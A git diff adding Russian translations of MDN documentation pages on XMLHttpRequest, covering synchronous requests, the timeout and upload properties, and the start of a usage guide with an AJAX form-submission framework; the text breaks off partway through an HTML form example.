+<p><code><strong>myFile.txt</strong></code> (the target of the synchronous <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> invocation):</p>
+
+<pre>Hello World!!
+</pre>
+
+<p><code><strong>myTask.js</strong></code> (the <code><a href="/en-US/docs/Web/API/Worker">Worker</a></code>):</p>
+
+<pre class="brush: js">self.onmessage = function (event) {
+  if (event.data === "Hello") {
+    var xhr = new XMLHttpRequest();
+    xhr.open("GET", "myFile.txt", false);  // synchronous request
+    xhr.send(null);
+    self.postMessage(xhr.responseText);
+  }
+};
+</pre>
+
+<div class="note"><strong>Note:</strong> The effect, because of the use of the <code>Worker</code>, is however asynchronous.</div>
+
+<p>It could be useful in order to interact in the background with the server or to preload some content. See <a class="internal" href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a> for examples and details.</p>
+
+<h3 id="Adapting_Sync_XHR_usecases_to_the_Beacon_API">Adapting Sync XHR usecases to the Beacon API</h3>
+
+<p>There are some cases in which the synchronous usage of XMLHttpRequest was not replaceable, like during the <a class="internal" href="/en-US/docs/Web/API/WindowEventHandlers/onunload"><code>window.onunload</code></a> and <a class="internal" href="/en-US/docs/Web/API/WindowEventHandlers/onbeforeunload"><code>window.onbeforeunload</code></a> events. You should consider using the <code>fetch</code> API with <code>keepalive</code> flag. When <code>fetch</code> with <code>keepalive</code> isn't available, you can consider using the <a href="/en-US/docs/Web/API/Navigator/sendBeacon">navigator.sendBeacon</a> API can support these use cases typically while delivering a good UX.</p>
+
+<p>The following example (from the <a href="/en-US/docs/Web/API/Navigator/sendBeacon">sendBeacon docs</a>) shows a theoretical analytics code that attempts to submit data to a server by using a synchronous XMLHttpRequest in an unload handler. This results in the unloading of the page to be delayed.</p>
+
+<pre class="brush: js">window.addEventListener('unload', logData, false);
+
+function logData() {
+    var client = new XMLHttpRequest();
+    client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
+    client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+    client.send(analyticsData);
+}
+</pre>
+
+<p>Using the <strong><code>sendBeacon()</code></strong> method, the data will be transmitted asynchronously to the web server when the User Agent has had an opportunity to do so, <strong>without delaying the unload or affecting the performance of the next navigation.</strong></p>
+
+<p>The following example shows a theoretical analytics code pattern that submits data to a server by using the <strong><code>sendBeacon()</code></strong> method.</p>
+
+<pre class="brush: js">window.addEventListener('unload', logData, false);
+
+function logData() {
+    navigator.sendBeacon("/log", analyticsData);
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/Guide/AJAX">AJAX</a></li>
+ <li><code><a href="/en-US/docs/Web/API/Navigator/sendBeacon">navigator.sendBeacon</a></code></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/timeout/index.html b/files/ru/web/api/xmlhttprequest/timeout/index.html
new file mode 100644
index 0000000000..47631f9455
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/timeout/index.html
@@ -0,0 +1,56 @@
+---
+title: XMLHttpRequest.timeout
+slug: Web/API/XMLHttpRequest/timeout
+tags:
+  - AJAX
+  - XMLHttpRequest
+  - Свойство
+  - Ссылка
+translation_of: Web/API/XMLHttpRequest/timeout
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>Свойство <code><strong>XMLHttpRequest.timeout</strong></code> определяет количество миллисекунд, которое запрос будет выполняться, до того, как будет автоматически прерван. Имеет размер <code>unsigned long.</code> Значение по умолчанию - 0, определяет, что таймаута нет. Таймаут не должен быть использован в синхронных запросах XMLHttpRequests  в {{Glossary('среде документа')}}, или будет вызвано исключение <code>InvalidAccessError</code>. Когда случается таймаут - вызывается событие <a href="/en-US/docs/Web/Events/timeout">timeout</a>. {{gecko_minversion_inline("12.0")}}</p>
+
+<dl>
+ <dd>
+ <div class="note"><strong>Примечание:</strong> Вы не можете использовать таймаут для синхронных запросов с окном - владельцем.</div>
+ </dd>
+ <dd><a href="/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests#Example_using_a_timeout">Использование таймаута с асинхронными запросами</a></dd>
+</dl>
+
+<p>В  Internet Explorer, свойство timeout может быть установлено только после вызова метода <a href="/en-US/docs/Web/API/XMLHttpRequest/open">open()</a> и до вызова метода <a href="/en-US/docs/Web/API/XMLHttpRequest/send">send()</a>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+xhr.timeout = 2000; // time in milliseconds
+
+xhr.onload = function () {
+  // Запрос завершён. Здесь можно выполнить обработку.
+};
+
+xhr.ontimeout = function (e) {
+  // Таймаут. Здесь можно выполнить что-нибудь..
+};
+
+xhr.send(null);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-timeout-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/xmlhttprequest/upload/index.html b/files/ru/web/api/xmlhttprequest/upload/index.html
new file mode 100644
index 0000000000..81006b8810
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/upload/index.html
@@ -0,0 +1,116 @@
+---
+title: XMLHttpRequest.upload
+slug: Web/API/XMLHttpRequest/upload
+translation_of: Web/API/XMLHttpRequest/upload
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Свойство <strong>XMLHttpRequest.upload</strong> возвращает объект {{domxref("XMLHttpRequestUpload")}}, представляющий процесс загрузки. Это непрозрачный объект, но так как он является {{domxref("XMLHttpRequestEventTarget")}}, к нему можно добавить обработчики событий.</p>
+
+<p>Обработчики событий, которые можно добавить к объекту загрузки:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Обработчик</td>
+   <td class="header">Событие</td>
+  </tr>
+  <tr>
+   <td><code>onloadstart</code></td>
+   <td>Начало запроса</td>
+  </tr>
+  <tr>
+   <td><code>onprogress</code></td>
+   <td>Происходит передача данных</td>
+  </tr>
+  <tr>
+   <td><code>onabort</code></td>
+   <td>Запрос был отменён</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code></td>
+   <td>При запросе произошла ошибка</td>
+  </tr>
+  <tr>
+   <td><code>onload</code></td>
+   <td>Запрос завершился</td>
+  </tr>
+  <tr>
+   <td><code>ontimeout</code></td>
+   <td>Запрос не завершился ко времени, указанному автором</td>
+  </tr>
+  <tr>
+   <td><code>onloadend</code></td>
+   <td>Запрос завершился (успешно или с ошибкой)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-upload-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Живой стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html
new file mode 100644
index 0000000000..f06ee51e88
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html
@@ -0,0 +1,743 @@
+---
+title: Использование XMLHttpRequest
+slug: Web/API/XMLHttpRequest/Using_XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest
+---
+<p>Это инструкция по использованию <code><a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code>, для взаимодействия через HTTP-протокол.</p>
+
+<p>Для отправки HTTP-запроса нужно создать XMLHttpRequest-объект, открыть URL и отправить запрос. После выполнения запроса можно получить и обработать тело и статус ответа.</p>
+
+<pre class="brush: js notranslate">function reqListener () {
+  console.log(this.responseText);
+}
+
+var oReq = new XMLHttpRequest();
+oReq.onload = reqListener;
+oReq.open("get", "yourFile.txt", true);
+oReq.send();</pre>
+
+<h2 id="Типы_запросов">Типы запросов</h2>
+
+<p>Запрос, сделанный посредством <code>XMLHttpRequest</code>, может загружать данные синхронно или асинхронно. Это определяется третьим аргументом метода <a href="/en-US/docs/DOM/XMLHttpRequest#open()" title="DOM/XMLHttpRequest#open()">open()</a>  объекта XMLHttpRequest: если он равен true или не определён, запрос выполнится асихнронно, в противном случае — синхронно. Детальное обсуждение и демонстрации обоих типов запросов могут быть найдены на странице <a href="/en-US/docs/DOM/XMLHttpRequest/Synchronous_and_Asynchronous_Requests" title="Synchronous and Asynchronous Requests">synchronous and asynchronous requests</a>. Использовать синхронные запросы приходится очень редко.</p>
+
+<div class="note"><strong>Примечание:</strong> Начиная с Gecko 30.0 {{ geckoRelease("30.0") }} не рекомендуется использовать синхронные запросы, так как они отрицательно влияют на пользовательский опыт.</div>
+
+<h2 id="Обработка_запросов">Обработка запросов</h2>
+
+<p>Есть несколько типов <a href="http://www.w3.org/TR/XMLHttpRequest2/#response">атрибутов ответа</a>, определённых спецификацией W3C XMLHttpRequest. Они сообщают запрашивающему важную информацию о статусе ответа. В некоторых случаях обработка нетекстовых типов ответа может потребовать дополнительных действий и анализа; эти случаи описаны ниже.</p>
+
+<h3 id="Анализ_и_использование_свойства_responseXML">Анализ и использование свойства <code>responseXML</code></h3>
+
+<p>Если скачать XML документ с помощью <code>XMLHttpRequest</code>, в свойстве <code>responseXML</code> будет объект DOM, содержащим распарсенный XML документ. Напрямую работать с ним будет сложно. Есть четыре основных способа анализа этого документа:</p>
+
+<ol>
+ <li>Использовать <a href="/ru/docs/XPath" title="XPath">XPath</a>, чтобы указывать на его части.</li>
+ <li>Использовать <a href="/ru/docs/JXON" title="JXON">JSON</a>, чтобы превратить его в дерево объектов JavaScript.</li>
+ <li>Вручную <a href="/ru/docs/Parsing_and_serializing_XML">парсить и превращать XML</a> в строки или объекты. </li>
+ <li>Использовать <a href="/ru/docs/XMLSerializer" title="XMLSerializer">XMLSerializer</a>, чтобы превращать деревья DOM в строки или файлы.</li>
+ <li>Можно использовать <a href="/ru/docs/JavaScript/Reference/Global_Objects/RegExp">регулярные выражения</a>, если вы заранее знаете содержимое документа. Возможно, стоит удалить переносы строк, если вы используете регулярные выражения с оглядкой на переносы. Однако этот метод стоит использовать только в крайнем случае, ведь если XML изменится, хотя бы чуть-чуть, то регулярное выражение, скорее всего, не справится.</li>
+</ol>
+
+<h3 id="Анализ_и_использование_свойства_responseText_содержащего_HTML_документ">Анализ и использование свойства <code>responseText,</code> содержащего <code>HTML</code> документ</h3>
+
+<div class="note"><strong>Примечание:</strong> Спецификация W3C <a href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> позволяет парсить HTML через свойство <code>XMLHttpRequest.responseXML</code>. Подробнее об этом написано в статье <a href="/ru/docs/HTML_in_XMLHttpRequest" title="HTML_in_XMLHttpRequest">HTML в XMLHttpRequest</a>.</div>
+
+<p>Если получить содержимое HTML страницы с помощью <code>XMLHttpRequest</code>, свойство <code>responseText</code> будет строкой, содержащей "кашу" изо всех HTML тэгов, с которой будет очень сложно работать. Есть три основных способа анализа этой HTML строки:</p>
+
+<ol>
+ <li>Использовать свойство <code>XMLHttpRequest.responseXML<strong>.</strong></code></li>
+ <li>Вставить содержимое в тело <a href="/ru/docs/Web/API/DocumentFragment">фрагмента документа</a> с помощью <code>fragment.body.innerHTML</code> и работать уже с этим фрагментом.</li>
+ <li>Можно использовать <a href="/ru/docs/JavaScript/Reference/Global_Objects/RegExp">регулярные выражения</a>, если вы заранее знаете содержимое документа.</li>
+</ol>
+
+<h2 id="Работа_с_двоичными_данными">Работа с двоичными данными</h2>
+
+<p>Хотя обычнно <code>XMLHttpRequest</code> используется, чтобы получать и загружать текст, с его помощью можно обмениваться и двоичными данными. Есть несколько проверенных способов заставить <code>XMLHttpRequest</code> посылать двоичные данные. Они используют метод  <code>XMLHttpRequest</code>.overrideMimeType().</p>
+
+<pre class="brush:js notranslate">var oReq = new XMLHttpRequest();
+oReq.open("GET", url, true);
+// получаем необработанные данные в виде двоичной строки
+oReq.overrideMimeType("text/plain; charset=x-user-defined");
+/* ... */
+</pre>
+
+<p>Спецификация XMLHttpRequest Level 2 добавляет новые атрибуты <a href="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute" title="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute">responseType</a>, значительно облегчающие работу с двоичными данными:</p>
+
+<pre class="brush:js notranslate">var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url, true);
+oReq.responseType = "arraybuffer";
+oReq.onload = function(e) {
+  var arraybuffer = oReq.response; // not responseText
+  /* ... */
+}
+oReq.send();
+</pre>
+
+<p>Больше примеров можно найти на странице <a href="/ru/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data" title="DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data">Отправка и получение двоичных данных</a>.</p>
+
+<h2 id="Отслеживание_процесса_загрузки">Отслеживание процесса загрузки</h2>
+
+<p><code>XMLHttpRequest</code> позволяет подписываться на различные события, которые могут произойти в процессе обработки запроса. Сюда входят периодические уведомления о состоянии запроса, сообщения об ошибках и так далее. </p>
+
+<p>Отслеживание событий процесса загрузки  следует спецификации Web API <a href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">progress events</a>: эти события реализуют интерфейс {{domxref("ProgressEvent")}}.</p>
+
+<pre class="brush:js notranslate">var oReq = new XMLHttpRequest();
+
+oReq.addEventListener("progress", updateProgress, false);
+oReq.addEventListener("load", transferComplete, false);
+oReq.addEventListener("error", transferFailed, false);
+oReq.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+
+// ...
+
+// состояние передачи от сервера к клиенту (загрузка)
+function updateProgress (oEvent) {
+  if (oEvent.lengthComputable) {
+    var percentComplete = oEvent.loaded / oEvent.total;
+    // ...
+  } else {
+    // Невозможно вычислить состояние загрузки, так как размер неизвестен
+  }
+}
+
+function transferComplete(evt) {
+  alert("Загрузка завершена.");
+}
+
+function transferFailed(evt) {
+  alert("При загрузке файла произошла ошибка.");
+}
+
+function transferCanceled(evt) {
+  alert("Пользователь отменил загрузку.");
+}</pre>
+
+<p>На строчках 3-6 добавляются обработчики для различных событий, происходящих при передаче данных с помощью <code>XMLHttpRequest</code>.</p>
+
+<div class="note"><strong>Примечение:</strong> Обработчики нужно добавлять до того, как вызвать <code>open(). В противном случае события не будут обработаны.</code></div>
+
+<p>Обработчик события <code>progress</code>, представленный функцией <code>updateProgress()</code> в этом примере, получает количество байт, которое должно быть передано, и количество уже переданных байт в полях <code>total</code> и <code>loaded.</code> Но если поле <code>lengthComputable</code> равняется <code>false</code>, значит, длина сообщения неизвестна и будет отображаться как ноль.</p>
+
+<p>События <code>progress</code> есть и у входящих, и у исходящих передач. События входящих передач создаются для объекта <code>XMLHttpRequest</code>, как показано в примере выше; исходящих —для <code>XMLHttpRequest.upload:</code></p>
+
+<pre class="brush:js notranslate">var oReq = new XMLHttpRequest();
+
+oReq.upload.addEventListener("progress", updateProgress, false);
+oReq.upload.addEventListener("load", transferComplete, false);
+oReq.upload.addEventListener("error", transferFailed, false);
+oReq.upload.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+</pre>
+
+<div class="note"><strong>Примечание:</strong> события progress недоступны для протокола <code>file: .</code></div>
+
+<div class="note"><strong>Примечание</strong>: На данный момент в событиях progress есть открытые ошибки, которые влияют на Firefox 25 для <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=908375">OS X</a> и <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=786953">Linux</a>.</div>
+
+<div class="note">
+<p><strong>Примечание:</strong> Начиная с {{Gecko("9.0")}}, можно быть уверенным, что события progress будут приходить для каждого пакета данных, включая последний пакет в случаях, когда он получен, и соединение закрыто прежде, чем будет создано событие progress. В этом случае, событие progress автоматическисоздастся, когда будет получено событие load для этого пакета. Это позволяет следить за процессом загрузки с помощью только событий progress.</p>
+</div>
+
+<div class="note">
+<p><strong>Примечание:</strong> В {{Gecko("12.0")}}, если событие progress вызвано с  <code>responseType</code> "moz-blob", значение ответа будет {{domxref("Blob")}}, содержащим все данные, полученные на текущий момент.</p>
+</div>
+
+<p>Также возможно засечь все три события, завершающие загрузку (<code>abort</code>, <code>load</code>, or <code>error</code>) через событие <code>loadend</code>:</p>
+
+<pre class="brush:js notranslate">req.addEventListener("loadend", loadEnd, false);
+
+function loadEnd(e) {
+  alert("Передача данных завершена (но мы не знаем, успешно ли).");
+}
+</pre>
+
+<p>Заметьте, что событие loadend никак не сообщает, что вызвало конец передачи. Впрочем, это никак не мешает использовать его, если нужно сделать что-то вне зависимости от причины.</p>
+
+<h2 id="Отправка_форм_и_загрузка_файлов">Отправка форм и загрузка файлов</h2>
+
+<p>Есть два способа передать данные форм с помощью экземпляра <code>XMLHttpRequest</code>:</p>
+
+<ul>
+ <li>используя только AJAX</li>
+ <li>используя API <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a></li>
+</ul>
+
+<p><strong>Второй путь</strong> — самый простой и быстрый, но данные, полученные с его помощью, нельзя превратить в строки с помощью <a href="/ru/docs/JavaScript/Reference/Global_Objects/JSON/stringify">JSON.stringify</a>. <strong>Первый путь</strong>, наоборот, самый сложный, но зато самый гибкий и мощный.</p>
+
+<h3 id="Используя_только_XMLHttpRequest">Используя только <code>XMLHttpRequest</code></h3>
+
+<p>Отправка форм без <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> не требует других API, кроме <code><a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader">FileReader</a> </code>для загрузки файлов.</p>
+
+<h4 id="Краткое_введение_в_методы_отправки">Краткое введение в методы отправки</h4>
+
+<p>Есть четыре способа послать HTML {{ HTMLElement("form") }}:</p>
+
+<ul>
+ <li>использовать метод <code>POST</code> и установить атрибут <code>enctype</code> =  <code>application/x-www-form-urlencoded</code> (он установлен по умолчанию);</li>
+ <li>использовать метод <code>POST</code> и установить атрибут <code>enctype</code> = <code>text/plain</code>;</li>
+ <li>использовать метод <code>POST</code> и установить атрибут <code>enctype</code> = <code>multipart/form-data</code>;</li>
+ <li>использовать метод <code>GET </code>(в этом случае атрибут <code>enctype</code> будет проигнорирован).</li>
+</ul>
+
+<p>Рассмотрим отправку формы с двумя полями, <code>foo</code> и <code>baz</code>. Если использовать метод <code>POST</code>, сервер получит строку, похожую на одну из показанных ниже, в зависимости от типа кодирования, который вы используете:</p>
+
+<ul>
+ <li>
+  <p>Метод: <code>POST</code>; тип кодирования: <code>application/x-www-form-urlencoded</code> (по умолчанию):</p>
+
+  <pre class="notranslate">Content-Type: application/x-www-form-urlencoded
+
+foo=bar&amp;baz=The+first+line.&amp;#37;0D%0AThe+second+line.%0D%0A</pre>
+ </li>
+ <li>
+  <p>Метод: <code>POST</code>; тип кодирования: <code>text/plain</code>:</p>
+
+  <pre class="notranslate">Content-Type: text/plain
+
+foo=bar
+baz=The first line.
+The second line.</pre>
+ </li>
+ <li>
+  <p>Метод: <code>POST</code>; тип кодирования: <code>multipart/form-data</code>:</p>
+
+  <pre style="height: 100px; overflow: auto;">Content-Type: multipart/form-data; boundary=---------------------------314911788813839
+
+-----------------------------314911788813839
+Content-Disposition: form-data; name="foo"
+
+bar
+-----------------------------314911788813839
+Content-Disposition: form-data; name="baz"
+
+The first line.
+The second line.
+
+-----------------------------314911788813839--</pre>
+ </li>
+</ul>
+
+<p>Instead, if you are using the <code>GET</code> method, a string like the following will be simply added to the URL:</p>
+
+<pre class="notranslate">?foo=bar&amp;baz=The%20first%20line.%0AThe%20second%20line.</pre>
+
+<h4 id="Небольшой_классический_фреймворк">Небольшой классический фреймворк</h4>
+
+<p>Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придется проинструктировать интерпретатор обо <em>всех</em> выполняемых операциях. Для, того чтобы отправлять формы с помощью <em>чистого</em> AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь <strong>полный(но все еще дидактический) фреймворк, </strong>который все же способен использовать все четыре способа отправки и, так же поддерживает <strong>файловую загрузку.</strong></p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: html notranslate">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Sending forms with pure AJAX &amp;ndash; MDN&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+
+"use strict";
+
+/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function(sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx &lt; nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) &amp; 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}
+
+/*\
+|*|
+|*|  :: AJAX Form Submit Framework ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntax:
+|*|
+|*|   AJAXSubmit(HTMLFormElement);
+\*/
+
+var AJAXSubmit = (function () {
+
+  function ajaxSuccess () {
+    /* console.log("AJAXSubmit - Success!"); */
+    alert(this.responseText);
+    /* you can get the serialized data through the "submittedData" custom property: */
+    /* alert(JSON.stringify(this.submittedData)); */
+  }
+
+  function submitData (oData) {
+    /* the AJAX request... */
+    var oAjaxReq = new XMLHttpRequest();
+    oAjaxReq.submittedData = oData;
+    oAjaxReq.onload = ajaxSuccess;
+    if (oData.technique === 0) {
+      /* method is GET */
+      oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/, oData.segments.length &gt; 0 ? "?" + oData.segments.join("&amp;") : ""), true);
+      oAjaxReq.send(null);
+    } else {
+      /* method is POST */
+      oAjaxReq.open("post", oData.receiver, true);
+      if (oData.technique === 3) {
+        /* enctype is multipart/form-data */
+        var sBoundary = "---------------------------" + Date.now().toString(16);
+        oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary);
+        oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" + oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n");
+      } else {
+        /* enctype is application/x-www-form-urlencoded or text/plain */
+        oAjaxReq.setRequestHeader("Content-Type", oData.contentType);
+        oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&amp;"));
+      }
+    }
+  }
+
+  function processStatus (oData) {
+    if (oData.status &gt; 0) { return; }
+    /* the form is now totally serialized! do something before sending it to the server... */
+    /* doSomething(oData); */
+    /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */
+    submitData (oData);
+  }
+
+  function pushSegment (oFREvt) {
+    this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n";
+    this.owner.status--;
+    processStatus(this.owner);
+  }
+
+  function plainEscape (sText) {
+    /* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: */
+    /* "4\3\7 - Einstein said E=mc2" ----&gt; "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */
+    return sText.replace(/[\s\=\\]/g, "\\$&amp;");
+  }
+
+  function SubmitRequest (oTarget) {
+    var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post";
+    /* console.log("AJAXSubmit - Serializing form..."); */
+    this.contentType = bIsPost &amp;&amp; oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded";
+    this.technique = bIsPost ? this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0;
+    this.receiver = oTarget.action;
+    this.status = 0;
+    this.segments = [];
+    var fFilter = this.technique === 2 ? plainEscape : escape;
+    for (var nItem = 0; nItem &lt; oTarget.elements.length; nItem++) {
+      oField = oTarget.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE" &amp;&amp; oField.files.length &gt; 0) {
+        if (this.technique === 3) {
+          /* enctype is multipart/form-data */
+          for (nFile = 0; nFile &lt; oField.files.length; nFile++) {
+            oFile = oField.files[nFile];
+            oSegmReq = new FileReader();
+            /* (custom properties:) */
+            oSegmReq.segmentIdx = this.segments.length;
+            oSegmReq.owner = this;
+            /* (end of custom properties) */
+            oSegmReq.onload = pushSegment;
+            this.segments.push("Content-Disposition: form-data; name=\"" + oField.name + "\"; filename=\""+ oFile.name + "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n");
+            this.status++;
+            oSegmReq.readAsBinaryString(oFile);
+          }
+        } else {
+          /* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! */
+          for (nFile = 0; nFile &lt; oField.files.length; this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name)));
+        }
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        /* field type is not FILE or is FILE but is empty */
+        this.segments.push(
+          this.technique === 3 ? /* enctype is multipart/form-data */
+            "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n"
+          : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */
+            fFilter(oField.name) + "=" + fFilter(oField.value)
+        );
+      }
+    }
+    processStatus(this);
+  }
+
+  return function (oFormElement) {
+    if (!oFormElement.action) { return; }
+    new SubmitRequest(oFormElement);
+  };
+
+})();
+
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with pure AJAX&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="text/plain" onsubmit="AJAXSubmit(this); return false;"&gt;
